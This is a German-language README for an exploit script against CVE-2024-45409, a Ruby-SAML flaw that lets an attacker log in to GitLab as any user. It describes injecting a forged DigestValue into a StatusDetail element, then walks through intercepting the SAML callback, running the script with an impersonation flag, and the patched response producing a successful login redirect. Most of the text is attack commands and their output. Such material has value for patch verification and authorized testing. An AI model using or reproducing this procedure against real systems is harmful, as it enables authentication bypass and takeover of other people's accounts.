
Ruby-SAML / GitLab Authentifizierungs-Bypass (CVE-2024-45409) Exploit
Dieses Skript nutzt die CVE-2024-45409 aus, die es einem nicht authentifizierten Angreifer mit Zugriff auf ein signiertes SAML-Dokument des IDP ermöglicht, eine gefälschte SAML-Antwort/-Assertion zu erstellen und sich als beliebiger Benutzer bei GitLab anzumelden.
Alle folgenden GitLab-Versionen (CE/EE) sind verwundbar:
Dieser Exploit injiziert den DigestValue der modifizierten Assertion in das StatusDetail-Element, wodurch der XPath-Selektor geschmuggelt werden kann, der diesen Wert anstelle des im SignedInfo-Block verwendet.
apt install python3-lxml
Fangen Sie zuerst die URL und die Base64-kodierte IDP-SAML-Antwort ab, ändern Sie dann den XML-Inhalt mit dem Skript.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Antwort wird analysiert
Digest-Algorithmus: sha256
Kanonisierungsmethode: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Signatur aus Antwort entfernt
[+] Assertion-ID geändert
[+] Assertion-NameID geändert
[+] Assertion-Bedingungen geändert
[+] Signatur in die Assertion verschoben
[+] Antwort-ID geändert
[+] Bösartige Referenz eingefügt
[+] Signaturreferenz geklont
[+] StatusDetail-Element erstellt
[+] Digest-Wert geändert
[+] Patched-Datei in response_patched.url_base64 geschrieben
Ersetzen Sie anschließend den Parameter SAMLResponse mit der Ausgabe des Skripts. Wenn die Authentifizierung erfolgreich ist, werden Sie zur GitLab-Startseite weitergeleitet.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>Sie werden <a href="http://gitlab.test.local/">weitergeleitet</a>.</body></html>